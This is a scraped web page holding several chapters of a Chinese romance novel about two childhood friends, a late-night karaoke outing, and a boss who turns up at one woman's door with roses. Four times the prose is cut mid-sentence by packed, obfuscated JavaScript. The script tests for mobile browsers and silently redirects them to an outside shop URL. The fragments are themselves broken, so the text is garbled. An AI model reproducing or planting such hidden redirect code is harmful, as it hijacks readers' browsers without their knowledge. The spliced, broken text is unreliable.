;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572062|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。” 左叶:“白水没味道。” …… 对话陷入死循环。 许徽音偏过脸,厌烦至极,左叶歪斜躺坐在椅,一脸了无生趣。 温晚这几年跟她们相处不多,顿觉棘手,下意识望向谢舒毓。 谢舒毓叹了口气,到底是向着左叶,跟许徽音说:“快到小碗生日,大家出来玩嘛,就让她喝一点,预支一部分,好不好?” 许徽音不理。 谢舒毓也不尴尬,倒了杯茶送去左叶唇边,“你尝尝,其实茶水很香的,苦后回甘,你老喝甜的,真得当心,糖尿病治不好的。” 左叶死鱼一般僵硬转动眼珠,“你刚跟她说,让我喝饮料,现在又让我喝茶,你到底哪头的。” “我哪头都不占,只是希望你们好。”谢舒毓一脸老成,“感情就是互相谦让,互相妥协嘛。” 菜还没上,服务生先把饮料送过来,谢舒毓说“这样吧”,拧开瓶盖,饮料和茶各倒一杯,搁在两人面前。 “来交个杯,事情就过去,出来玩咱们高高兴兴的,别扫兴,也尽量别吵架,好不好?” “看在你跟小碗的面子上。”许徽音说。 她先递了台阶,左叶琢磨会儿,点点头,飞快端起那杯饮料,确保交杯时甜水能送进自己肚里。 许徽音气得拍桌,“你看她,你们看她,什么德行!” “没事没事,就限这几天,让她喝吧,喝吧喝吧。”谢舒毓劝。 交杯完毕,许徽音换了位置,去温晚身边,温晚建议说:“要不吃完饭去唱K吧,机会难得,来一首《玫瑰花的葬礼》,我们追忆青春。” 她不懂怎么劝人,但酒精一定能发挥作用,到时候两人喝得稀里糊涂,旁边人再好言劝几句,回去囫囵睡一觉,第二天醒来定能和好如初。 提议蛮好,全票通过,温晚立即定了包厢,饭后驱车前往。 到这种时候,饮料算什么,直接上酒,对瓶就吹,喝死拉倒。 温晚在点歌,几人拿手曲目,她都了然于胸。 “我这里有胃药。”许徽音拉开小包往外掏,“谁要不舒服,立即跟我说。” 顿了顿又补充,“还有没味道的白水,专门用来吃药的。” 左叶提了酒挨去谢舒毓身边,“看吧,老妈子,烦得要死。” 许徽音听见了,“你可以不满意我,到时候别找我哭就是。” “没事,我们不劝酒。”谢舒毓说。 她有时候觉得太可怕了,谈恋爱真的太可怕了,整天吵不完的架,后来转念一想,她跟温晚也是常常在吵,生闷气,骂脏话,冷战,最后又和好。 左叶和许徽音起初还僵着,玩了会儿骰子,缓和不少,能好好说话了。 谢舒毓放下心,找话筒正要跟温晚合唱,温晚坐在高脚椅上,朝她使了个眼色。 “嗯?”谢舒毓回头。 左叶坐在转角沙发,许徽音坐在她大腿,两人正抱着啃,那叫一个忘我。 谢舒毓捏着话筒站在那,电视屏色彩变幻,光怪陆离,她的脸忽明忽暗,表情精彩。 她说什么来着,无风不起浪,无浪不发骚,那个梦不是毫无由来。 8. 第 8 章 谢舒毓出去了。 其实不算什么稀罕事,左叶从不藏着掖着,喜欢谁就去追,被拒绝,受伤也无所谓,她敢爱敢恨,还敢亲。 是我自己的问题。 谢舒毓站在洗手台前,也许是酒精作用,她视线浑浊,镜子里的自己雾濛濛分辨不清。 左叶还是那个左叶,热情、真实,为人坦坦荡荡,是她变了,有小秘密了。 温晚就在旁边,她怕自己忍不住干出什么蠢事情,吓到对方,到时连朋友都没得做。 “小筷子?” 谢舒毓讶然回眸,好多年没人喊过她这个绰号。 温晚拿了瓶水,拧开瓶盖递过来,谢舒毓不是很渴,但还是喝了一口。 她接过瓶盖,低头拧紧,水瓶塞进宽宽大大的卫衣兜,“干嘛突然那样叫我。” “是你先的。”温晚都记着呢,“吃饭的时候,你劝架,先喊的我。” 小碗是温晚小名,两三岁的时候,开始学着拿筷子,她外公专门给她用木头雕了套儿童餐具,她宝贝得不得了,每次吃完自己洗,洗完擦干放进床头抽屉,谁也不许用。 久而久之,就有了小碗这个名字。 至于小筷子,那更简单了。她跟谢舒毓认识以后,整天跟连体婴似的,外公调侃说“古有焦不离孟,今有碗不离筷”,谢舒毓就有了小筷子这个绰号。 后来喊得多了,名字传出去,连谢舒毓家里人都跟着这么喊。 可人总是要长大的,碗之外有碟,筷子之外,有勺,还有叉。 不够适配,但也能将就用。 前面一帮人醉醺醺往洗手间走,尽是些大腹便便的中年男人,烟酒气几米外就能闻到,谢舒毓选择避让,牵起温晚,带她从另一边走廊离开。 绕到大厅,周围相对安静,谢舒毓本想找服务生问路,返回包厢,温晚提议,“我们在外面坐一会儿吧。” “也好。”谢舒毓点头,“给她俩多留点时间。” 环境幽暗,两人深陷在气味复杂的黑色皮质沙发,旋转球幕灯悬挂在头顶,撒下斑斓块状光斑,耳朵能听到附近包厢隐约传出的音乐声,伴随沉闷吐息,谢舒毓转头,看向身后另一张黑沙发,两个模糊纠缠的人影。 她后知后觉,这里确实很适合接吻。 温晚低笑,“显得我们好不合群。” “要不陪一个。”谢舒毓语带笑音。 “啊?”温晚看她。 “哈哈——”谢舒毓摸摸鼻子,“开玩笑的。” “哦。”温晚低头,好一阵没说话。 有点失望,又庆幸。拿她寻开心呢,幸好没信,不然傻乎乎凑过去,真被耍,岂不丢脸。 还会很伤心。 虽然她已经开始伤心。 那就是更伤心。 “最近工作还顺利吗?”谢舒毓开始聊些有的没的,“是不是又要升职了。” “不确定。”温晚回答。 “销售部那个还跟你对着干吗?”谢舒毓本意是关心。 温晚摇头,“换个话题吧,已经是周五的晚上了,我不想聊工作。” “好,不聊工作。”谢舒毓立即打住。 那还能聊些什么呢。 话题也有,分享生活,分享经历,说说办公室里好玩的人和事,但眼下气氛不对,怎么说都显得刻意。 彼此生活轨迹毫无相交,她早就不是她的小筷子了。 沉默良久。 “谢舒毓。”温晚像是忍无可忍,黑暗中找到她的手,用力握住,“分开的时候,你有想我吗?” 太突然,谢舒毓抬头反应几秒,唇半启,不知该如何作答。 “我要你说。”温晚指尖掐陷她手心,“回答我。” 旋转球幕灯的光斑打在眼帘,一掠而过,将心事牵扯出。 谢舒毓回答:“会,当然会,我常常都在想你。” 这个答案让温晚感到万分满足,她声音陡然变得沙哑,“我也是。” 她说:“我很想你,每天都想,开心的时候想,难过的时候想。” 谢舒毓面露担忧,“为什么难过。” “说不上来。”温晚身体前倾,脸颊迎着微光,眉眼泛起一圈淡淡哀伤的红,“就是难过。” 她心里憋了口气,很不服,又讲不清楚到底在跟谁赌气,无所事事,为自己编织了一间华美而幽暗的牢笼。 她以为就此安全了,却慢慢瘪掉,像只灰扑扑的红气球,缩到床底,风来,又躲到门后。 “我就是不开心。”温晚脱力靠在谢舒毓肩膀。 谢舒毓环住她,遍遍抚摸她凉滑的长发,叹息,“无论是工作还是生活,我相信,你都有自己的判断,困惑是暂时的,你一定可以解决,所以也不需要我真的向你提供什么建议。” 她想要的,或许只是一个拥抱,像现在这样,像每一个工作日早晨的黑咖啡,从中获取能量,抵挡疲倦。 “要换作你,有件很想很想要的东西,无论怎么努力,都一直一直得不到,你会怎么办。”温晚在谢舒毓怀里闷闷讲话。 谢舒毓认真想了想,“如果真的很难,需要付出很大代价,就不要了。” “你是这么消极的人吗?”温晚抬起头。 “也可以说是豁达。”谢舒毓笑一下。 “你确定不是无能?”温晚表示质疑。 谢舒毓纠正,“是佛系。” 半晌,温晚坐起,出来没带包,她手背掖掖眼角湿意,“我妆花没花?” 谢舒毓从不敷衍,凑近观察,摇头。温晚又呼一下靠回她肩膀,借口说:“可能姨妈快来了,情绪不稳定。” “还有一周。”谢舒毓记得她的生理期。 温晚才刚好一点,又开始难受,“我们怎么那么好呢。” 趁热打铁,她提要求,“下周你还能继续来找我吗?不叫叶子她们,我只想跟你一个人玩。” 谢舒毓整理她裙上竖褶,“你想跟人玩,人还未必有空呢。” 温晚抱住她手臂,左右地晃,“求求你了,可怜可怜我吧,我身在异乡,孤苦伶仃的。” 谢舒毓想说那你干嘛不回家,回去我们就能天天在一块儿玩。 当然,那些话她其实早就说过了,说多没意思,今天温晚状态不好,她爽快答应下来。 “但我不敢保证工作上有临时安排,如果爽约,我会弥补,你不要生气。” “那就爽一罚二。”温晚狮子大开口。 “爽……”谢舒毓一时没反应过来,很快她意识到自己想歪,自嘲笑笑,干脆顺着说下去,“那应该是奖赏才对。” “那你接受本大小姐的赏赐吗?”温晚两手捧起她的脸,把她嘴唇嘟得高高。 “荣幸之至。”谢舒毓含糊应。 返回包厢,左叶跟许徽音已经和好,并排坐在沙发上玩骰子,看她俩回来,左叶满脸坏笑,“完事儿了。” “你完事儿啦?”谢舒毓反问。 左叶站起来抖抖裤腿,“那走吧。” 温晚拿手机看了眼时间,“还不到十二点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572063|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “找个酒店。”左叶牵起许徽音,“大做特做。” 许徽音习以为常,谢舒毓扶额,“行吧行吧。” 温晚叫了代驾,车停小区,出来给左叶找了家附近的酒店,约定明天去郊外玩,说有个庄园,可以钓鱼烧烤什么的。 左叶比个“OK”,跟许徽音搂着进酒店,温晚和谢舒毓不放心,跟进去确认房间号,然后送她们进电梯。 “呼——”温晚站在酒店门口,长出一口气。 谢舒毓就在她身边,她立即把她挽住,“那我们回家吧。” 沿街道散步,城市彻夜燃烧,四处明光烁亮,也保留了许多腼腆的角落,模糊了明暗的界限。 谢舒毓紧紧牵住温晚的手,不知道别的好朋友是不是也像她们这样亲密。 将来温晚又谈恋爱,她该怎么办呢,她们还能像这样牵手拥抱吗,以及即将到来的…… 同床共枕。 谢舒毓心事重重,温晚毫无所觉,抱住她胳膊,脸颊紧贴在她肩膀,已经无所谓会不会弄花了妆。 甜蜜氛围一直持续到回家。 家门口,应该是温晚家门口,谢舒毓见到一个陌生的高个男人。 已是深夜,仍西装笔挺,看起来整洁干练,怀中捧一束黄玫瑰。 他倚墙站着,似乎等待许久,在楼道口看见人,立即挺直后背,面上展露出和煦的笑容。 “晚晚,你回来了。” 温晚倏地仰脸,望向身边人,谢舒毓浑身血都凉了。 “这位是……” 谢舒毓还没说话,他倒先张嘴问。 温晚皱眉,恼怒他的冒犯,又不好直接发作,音色冷下来,“我朋友。” 顿顿又补充,“最好的朋友。” 她本意是强调重要性,在谢舒毓听来,却完全是另一重意思,而且这句“最好的朋友”,她再熟悉不过。 事实不需要反复强调,如果非要说,那一定别有深意。 谢舒毓松开手,温晚慌神,“他就是我在群里跟你们说的那个人。” 她不希望产生这种低级误会,“傅明玮,我上司,你应该知道的。” “我知道。”谢舒毓不愿让温晚难堪,“我先进去,你们聊。” 她再次抽手,温晚死死捏住,她用力抽出,大步朝前,经过那束黄玫瑰,艰难维持着体面,冲他微笑点头示意。 “你好。”对方看起来很有礼貌,挑选的花束也颇为耐人寻味。 黄玫瑰,为爱致歉。 所以温晚今夜全部的失意,都来自面前这个人吗? 她说她不开心,就是因为跟面前这个男人吵架?她的上司,是什么样的上下级关系,连她的门牌号都知道,深夜还带了花。 手指悬停在指纹锁界面,谢舒毓迟迟没有按下,她心口针扎似的疼,一秒也不想多留。 可这个人是温晚上司,她明白,温晚不想,也不能得罪他,作为温晚“最好的朋友”,她不能在这种时候让她难做,坏她的事。 那就成全。 忍耐,是谢舒毓最常做,也是最擅长的事。 她按下指纹锁,机械电子女声说“欢迎回家”,开门,牵动嘴角,她干巴巴扯出个笑,自认已经做到完美,再轻轻合拢房门。 所有情绪压缩到极致,仍在持续不断遭受捶打,她如同行尸走肉,没有开灯,凭记忆把自己安置在沙发。 期间膝盖不慎撞到茶几角,也毫无反应,甚至有些着迷那痛。 痛,才会让人清醒。 9. 第 9 章 温晚的担心不是多余,但她还是低估了傅明玮的脸皮,没想到他会直接找到家门口,还自作多情带了花。 “你来干什么?”温晚双手环胸,两条秀气的眉毛拧成疙瘩,开口便是质问。 在公司,大家都夸她人如其名,耐心且温柔,即便被误解,被针对,也从不跟人脸红。 事实温晚根本没那么好脾气,她只是不屑,懒得,也还没被逼急。 与人沟通本就十分消耗精力,吵架更是翻倍,若非必要,她不会把时间浪费在不相干的人身上。 傅明玮有些惊讶她态度的突然转变,但没有过分显露,双手献上鲜花,“下午确实是我不对,我真诚向你道歉。” “下午?停车场?”温晚好笑,“我也太牛了,请假不成,气冲冲跑走,还要领导亲自跑家门口跟我道歉。” “你的生日,我不应该为难。”傅明玮语气温和,“没有事先告诉你,是担心你拒绝,所以才不请自来。” 温晚松开手臂,摇头,“傅总,这不需要道歉,你没有做错,在你权限范围之内,无论你做什么都是对的,我都会服从。再说,本来就是我无理取闹,一个破生日没什么了不起,周末两天够玩了,是我太贪。” 她快速撩了把头发,“本来我没把这事放心上,跟朋友出去也玩得很开心,但你的出现吓到我了,也吓到我朋友。” 她不敢想象谢舒毓现在有多恼火。 傅明玮沉默片刻,“确实是我唐突了。” “那就请回吧。”温晚快速道。 她抗拒明显,傅明玮却似乎将其理解成另一种意思,始终是包容,甚至宠溺的态度。 “你的假,我准了。” “不需要。”温晚倏地冷下脸,“周一上午,我会准时到公司。” “温晚。”他有些无奈,满脸都是‘那你到底想怎么样呢’。 “现在是我的个人时间,我已经下班了。”温晚强忍不适,提醒他。 “以朋友的身份也不可以吗?”傅明玮自认已经非常低姿态,“表达问候。” “刚才你也看到了,我朋友跟我一起回来的,她现在在家等我,忙碌一天,她很累,我也很累。” 温晚实在没有心思应付,抬手按下电梯,“傅总请回。” 她的厌烦写在脸上,傅明玮蹙眉凝视她许久,胸腔漫长起伏,“好吧。” “那这个你收下。”他再次递出鲜花。 温晚耐心告罄,转身离去,门“砰”一声,狭长的走廊把音量放大数倍。 谢舒毓坐在客厅,开了灯,换了鞋,已经调整好状态。 温晚走到她面前,她抬起头,平静回望,几秒对视后,疑惑眨眨眼睛,“花呢?” “我没要。”温晚回答。 谢舒毓笑了下,“那还挺可惜的。” “有什么可惜,我买不起吗?”温晚还在气头上。 谢舒毓转过脸,避其锋芒,“时间不早了,洗澡睡觉吧。” 温晚本想解释,又觉得没必要,那人不值得她浪费口舌。 “我给你找睡衣。”她进了卧室,“洗漱都在老地方,你知道的。” 谢舒毓什么也没说,温晚以为她都懂得,且并不在意,前后脚进卫生间洗澡。 但当温晚离开浴室,拿护肤品正对镜擦脸时,看到谢舒毓抱着被子从身边走过。 温晚迈出几步,跟随谢舒毓来到客厅,看她在沙发上铺了张干净床单,选定靠阳台方向安置枕头,掀开被窝躺了进去。 刚躺好,想起什么,她本欲起身,看到人又重新躺下,“麻烦帮我关下灯,谢谢……哦,再拉下窗帘,感激不尽。” “你干什么?”温晚脸色变得很差。 “睡觉呐。”谢舒毓平躺望着天花板,很会暗搓搓气人。 “那为什么不去房间睡。”温晚强按耐着不悦。 “不太方便。”谢舒毓回答。 “哪里不方便了!”温晚霎时拔高音调。 谢舒毓始终平和,“哪里都不方便。” 最受不了她冷言冷语,温晚一把掀开她被子,“你说清楚!” 谢舒毓下意识朝里躲了下,她双腿并拢,手臂蜷缩在身前,默了片刻,看向温晚,无法控制自己发出尖锐的啸响。 “我嫌脏。” “什么?”温晚不可置信瞪圆眼睛,“你再说一遍。” 谢舒毓从沙发坐起,直视她,“我说不方便就是不方便,不方便很难理解吗?是你逼着我说的。” 她的本意不是这样,她怎么会,怎么可能嫌弃温晚,也绝不会像说的那样,恶意想象她的生活。 可忍耐已经到达极限,恶魔小人手持黑色三叉戟,举高施展术法,迫不及待想看到对方痛苦流泪,从而证明自己在她心中的重要性。 “原来你一直这样想我?”温晚还戴着干发帽,整张脸露出,灯下洁白美丽,手里攥只精华瓶,来不及抹,通透的皮肤迅速漫上湿红。 恶魔小人如愿以偿,谢舒毓并不好受,却还是没办法停下。 “我看到的就是这些。” “我被人纠缠是我的错吗?我明明是受害的一方,你不肯体谅我的难处,还这样说我。”温晚嘶吼出声。 “难道不是你自己选的。” 谢舒毓跪坐起,抓起枕头用力砸了一下,“这份工作对你来说很重要吗?你需要那么顾忌他吗?还是你本身就乐在其中。” “我乐在其中?”温晚指着自己鼻尖,“我乐什么了。” “那你为什么不直接告诉他,你的性取向。”谢舒毓不能理解。 温晚同样不能理解,“我凭什么告诉他,他对我来说又不是什么很重要的人,就算我喜欢男生,就代表他可以对我纠缠不清吗?” 谢舒毓冷笑,“你不说,就是在纵容他。” “我没有纵容,我认为我表现得很明显。”温晚目光坚定。 讲不通。 谢舒毓摇头,“那随便,与我无关。” 温晚不能罢休,“与你无关你嚷嚷什么,你骂完就跑,我是什么很贱的人吗?” 不想纠缠,谢舒毓扯被蒙头,温晚上前拉扯,干发帽松散,掉在一边,她湿漉的长发垂落双肩,被眼泪糊在脸颊。 她骑在谢舒毓身上,连捶带打,“你凭什么那样说我,我在外面受委屈,已经很烦了,你不心疼我,还对我说那样的话,以前怎么说的,吵架只是表达诉求,不可以伤害对方,有些话是永远也不能说的……” 温晚情绪崩溃,孩子似大哭,谢舒毓握住她手腕制止发疯,她挣脱不开,脑袋用力往人胸口撞。 谢舒毓痛呼,松开手,她双拳不断打砸棉被,“为什么欺负我,你是我最好的朋友,我最信任的人,连你也欺负我!你要我怎么办!” 真是要疯了,谢舒毓别无办法,只能用力抱住她,“对不起,是我的错,我不应该责备你。” 随她打骂,拥抱,安慰,谢舒毓可以为她做任何事,唯独没办法像她说的那样,勇敢表明心中诉求,只能一遍又一遍道歉。 “我没有误会,我懂,只是口不择言。”谢舒毓捧起她的脸,扯了袖子,点点擦拭她滚烫的泪。 她毛嘟嘟的睫毛被泪糊满,鼻腔堵塞,只能张嘴配合呼吸,谢舒毓长久凝视着,忽然很想吻她。 不敢。 一步踏错,就是万劫不复。 谢舒毓再次拥她入怀,声音沙哑,第无数遍“对不起”。 维持现状已经很难,温晚跑那么远,陌生的城市安家,不就是为了躲她,她怎么敢。 归根结底,如今温晚承受的一切,不都是因为她。也许是她在不经意的时刻,暴露了心底秘密,吓到人家了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572064|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>站在温晚角度,这么多年的关系,她舍不下,又不能接受…… 确实,她已经很让她为难了。 “对不起,都是我的错。”谢舒毓道歉,第无数遍,“我不该说那些话,我也并不是真的那样想你,我只是……” “你就是故意惹我生气。”温晚接了她下半句。 谢舒毓沉默。 “是他非要犯贱,那我能怎么办。”温晚好些了,只是还抽抽,团坐在谢舒毓大腿,揪起她的睡衣擦鼻涕。 谢舒毓叹了口气,想去拿纸,温晚不许她动,眼睛一瞪又要撒泼。 “你还不抱着我哄!”她大声发号施令。 “我错了。”谢舒毓立即抱住她,两条很有劲儿的胳膊甚至把她往怀里抬了下,像小时候她喜欢的那样,跟她脸贴脸。 “冰冰的。”温晚说,忍不住蹭,哭热的脸颊跟谢舒毓完全贴合,感觉很舒服。 谢舒毓这人平时看着瘟瘟的,想把她惹毛还真不容易,她生气,是不是说明她在乎她,可能是在吃醋呢。 发脾气,吵架,胡言乱语,不过是发泄,寻找情绪的出口。 这么多年,谢舒毓一直在努力调整自己,不再用冷暴力对待温晚,有什么不满当面说出来,别闷在心里。 她确实做到了,只是还没学会委婉的表达。她不鸣则已,一鸣惊人,还能气死人。 过了会儿,温晚吩咐,“换一边贴贴。” 把人惹哭,就只能顺着,谢舒毓依言,把温晚从左边挪到右边,然后贴脸。 温晚的沐浴露是甜甜的橙子味,谢舒毓洗澡的时候没感觉,现在抱在一起,香气从她身上来,混合她本身天然的味道,层次更为丰富。 黑夜把一切都显得格外隆重,体温,气味,呼吸的频率,心跳的速度。 好多次,谢舒毓产生一种错觉,似乎下一秒,她们就要开始接吻。 温晚动了动,睫毛扫到谢舒毓鼻梁,那么近,嘴唇马上就要碰到一起。 谢舒毓捞起她一捧长发,借机往旁边躲了下,“吹干吧,不然会头痛的。” “你给我吹。”温晚嘟着脸撒娇。 谢舒毓应好,就让她坐在沙发上别动,先去换下被她当鼻涕纸的睡衣,取来风筒,又不嫌麻烦地接上插座。 温晚发质很好,不烫不染,发量也多,谢舒毓自己吹就是整颗脑袋朝下,风筒胡乱扫干,气垫梳随便刮两下。 服侍碗大小姐,细致得多,她迷恋那头长发,喜欢那指缝中穿过的凉滑,那是她唯一可以肆无忌惮,遍遍爱抚之处。 经过此番,温晚要求谢舒毓上床睡觉,她不敢不从,临睡前给手机充电,发现已经快两点。 旁边温晚已经躺下,谢舒毓把手机放在床头柜,拉上窗帘,最后关闭台灯,摸黑上床。 温晚的床比宿舍那个软得多,谢舒毓完全舒展身体,“好累啊——” 真把她累坏了。 “那就快睡觉吧。”温晚在被子里轻轻捏了下她的手。 谢舒毓“嗯”一声,寻了个舒服的姿势,刚闭上眼睛,旁边人出声:“可以向你提出一个小小的要求吗?” 这么客气,肯定不是什么好事。 “你说。”谢舒毓在想,她还有什么不满。 没有嘲讽的意思,真的有很认真在想。 “能不能抱着我睡。”温晚翻身,靠近她。 意料之中,谢舒毓说:“不能。” “那我开始闹了。”温晚威胁,“是不是非得走个流程。” “啊——”谢舒毓敲额头,来这套啊。有什么办法,她展臂,“来。” 捂嘴偷笑,温晚飞快扭去她怀里,死死抱住她的腰。 手心一片腻滑,谢舒毓顿时心惊,“怎么没穿衣服!” “我一直裸睡啊。”温晚得意,“你又不是不知道。” 10. 第 10 章 一直裸睡吗? “看来我们分开这几年,你形成了很多新的习惯。”谢舒毓两手平放身侧,站起来是棵竹子,躺下去是根竹竿。 总之一个字,直。 “人都是会变的,书上说了,大部分人体细胞更新时间为1年,最长约是6-7年,还是你们杂志社出的书呢,你不知道哇?”温晚头头是道。 “那你肯定不是小碗了,我认识的小碗只看网络小说,从不看科学杂志。” 谢舒毓动动肩膀,假装要把她往外推,“你是谁?立即从我家小碗身上离开!” 温晚不走,甚至抱得更紧,“人家跟你讲科学,你跟人家讲玄学,就会耍赖皮,哼——” 温晚确实不喜欢看科学杂志,她们家人文化素养都一般,更喜欢赚钱,但跟谢舒毓在一起久了,难免受其影响。 起初,只是个自娱自乐的小游戏,一本杂志几十甚至上百幅插图,温晚热衷于寻找谢舒毓亲手所绘,并根据数量大致推断出她一周工作量,甚至可以通过专栏版块的大小,分析她在杂志社的受重视程度。 后来又忍不住想,跟谢舒毓合作的撰稿编辑是个什么样的人呢,平时怎么跟她交流呢,她们会如何讨论工作呢。于是愈发好奇,她画下那些图案时眼睛所看到,心中所体会到的一切。 那些知识,就不知不觉储存在脑海。 生命的宇宙,细胞不断死亡,也不断繁衍,爱意跟随人体神秘而伟大的再生,隐秘前行,混合在血液中流淌全身,驱动四肢,把她紧紧抱在怀里。 这个疲惫的夜,终于落下帷幕。 整晚无梦,直至天明,一场罕见的深度睡眠。早上十点,谢舒毓睁开眼睛,转过脸,通过窗帘漏出的一线微光,望向身边人。 她眉眼浓密,量感十足,朦胧的光线模糊部分锐利边界,显得过分乖巧,不由让人产生些非分之想——或许可以偷亲一下。 谢舒毓当然不会那么做,她只敢在梦里横行无忌、逞凶作恶。 寂静的空间,电子提示音格外响亮,温晚不满哼哼,被窝里翻了个身,拿屁股撞人。 谢舒毓早就习以为常,抓起手机解锁查看,是左叶,问她们醒了没。 [中午一起吃饭,然后开车过去。]谢舒毓回复。 [睡得好吗?]左叶又问。 这人当然不可能只关心她睡眠质量,谢舒毓复制粘贴。 [睡得好吗?] [angry sex] 左叶消息后面跟了几个羞羞表情。 谢舒毓翻了个白眼。 [滚出中国。] [和解式的性,愤怒式的性,激烈的性。] [你再给我装。] 挺嘚瑟。 [并不关心!] 谢舒毓丢开手机。 起床,洗漱,谢舒毓叫醒温晚,等她整理完毕,衣柜里找了个书包,把她护肤品啊,牙刷啊,充电宝啊这些都带上。 换鞋出门,家门口一束亮眼的黄玫瑰。 “是他偷偷放的!”温晚举手投降,“我没收,我肯定没收。” “那谁知道。”和解归和解,谢舒毓心里还是不舒服。 温晚弯腰抱起花束,谢舒毓目光锁定,她解释,“拿到楼下去丢。” 撇开人不说,花很美,花瓣也还新鲜,谢舒毓有些不忍心,但也绝不允许它进入温晚的房子。 抱着花束下楼,也是寸,左叶和许徽音竟然来了,不知怎么混过门禁系统,楼下跟几个小孩玩跳绳。 温晚心里说声“完了”,左叶眼当然不瞎,丢开跳绳跑过来,“什么情况,哪里来的花。” “别人送的呗。”谢舒毓笑一声,“总不能是天上掉的。” “是不是你在群里说的那男的?”左叶问。 许徽音说“那肯定啊”,“不然还有谁,总不能是前妻姐吧。” “可那男的怎么知道你家住址。”左叶又问。 “应酬吧。”许徽音迅速接:“上次不就说应酬到很晚,稍微有点绅士风度额,都会把人送到家。” 她俩一唱一和,串出一条完整的故事线,谢舒毓心中诸多疑惑得到解答。 温晚真无语,这是在她身上安监控了? “那你俩昨晚肯定吵架。” 左叶开始笑,特别幸灾乐祸,凑近了看人,“吵了吵了,眼睛都肿了,还哭了。” “滚一边去。”温晚推她一把。 “哎呦!”左叶也不生气,像发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572065|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现新大陆,两眼放光,“这可不得了,相当不得了!” “行了。”谢舒毓让她别说了。 玩跳绳那几个小姑娘凑过来看热闹,谢舒毓顺手把花送给她们,她们好高兴,几人拆了包装蹲在地上分,说要拿回家泡花瓣澡,还有人说送给妈妈。 人是人,花是花,花花有了好归宿,谢舒毓心情稍微好了点。 小区附近吃早午饭,既然都让左叶猜出来了,温晚也不瞒着,大致说了下事情经过,让姐妹们给她出主意。 案例比较典型,情况也不复杂,只是温晚不愿直说。 “人家没说追我,我连拒绝都拒绝不了,他说当朋友,我可以说不交男性朋友,可你们别忘了,他是我上司。” 吃的炒菜,中午人多,免不了要等。谢舒毓给四个人倒了茶,左叶手掌搓膝盖,“确实有点难搞,一个公司,抬头不见低头见的,也不知道他是个什么样的人,就怕惹毛了,工作上给你穿小鞋,那才恶心。” “其实也简单。”许徽音说:“让他知道你其实是喜欢女生,自然就知难而退。” 谢舒毓没参与,支着耳朵在旁边听,温晚不时瞟她一眼,看她脸色。 四人对坐,左叶盯着面前这两人,“我有个主意。” 三人侧目,等她下一句。 左叶双手撑在桌沿,凑近小声说:“咱下午不是要去庄园,你干脆把他也叫过来,当着她面,找个女人打啵,让他看见,他心里不就清楚了。” 这什么破主意!谢舒毓问:“跟谁打啵?” “你呗。”左叶端起茶杯,低头瞧一眼又放下。 许徽音重新把茶杯放她面前,逼着她喝,“不行我俩也愿意帮忙。” “你俩?”谢舒毓眉头皱成一个川字,“三个人一起亲?” 左叶不情不愿喝了半杯茶,“你也想参与啊。” “我参与个毛线!”谢舒毓不知道她脑子里都装的什么,“你胡言乱语也分分情况好不好。” “是你太矜持了。”左叶摊手,“都是好朋友,碰碰嘴巴而已,这个忙我们愿意帮。” 谢舒毓说不行,坚决不行,另想办法。 温晚杵那听了半天,“其实我也没有那么难以接受啦。” 11. 第 11 章 菜上齐了,有谢舒毓最喜欢的宫保鸡丁,她拿个瓷勺,先舀了两大勺盖在米饭,听温晚介绍傅二的情况。 傅二就是傅明玮,他爹年轻时候开糕点铺,生意特别红火,门前天天都排长队,后来本地又开了几家分店,逐渐扩大规模,就有了现在的傅氏食品。 “他上面还有个大他十岁的姐姐,现在是公司的掌舵人,他嘛,家里的次子,以后财产怎么分配我不知道,他这个人,感觉没什么野心,他姐姐也是为了锻炼他,才把他安排到市场部门。” 温晚给谢舒毓打了碗紫菜鸡蛋汤,“别噎着。” 昨晚那些菜味道还行,但麻辣厚味的家常小炒更符合谢舒毓的口味,她忙着吃饭,填得两腮鼓鼓,几句话没接上,事情进展就有些不受控制。 但她也不是完全没有私心。 左叶一眼看穿,“看咱小筷子,使筷子使得龙飞凤舞,嘴里塞得话都说不出来,不置可否,此地无银三百两,还拿我们当傻子呢。” 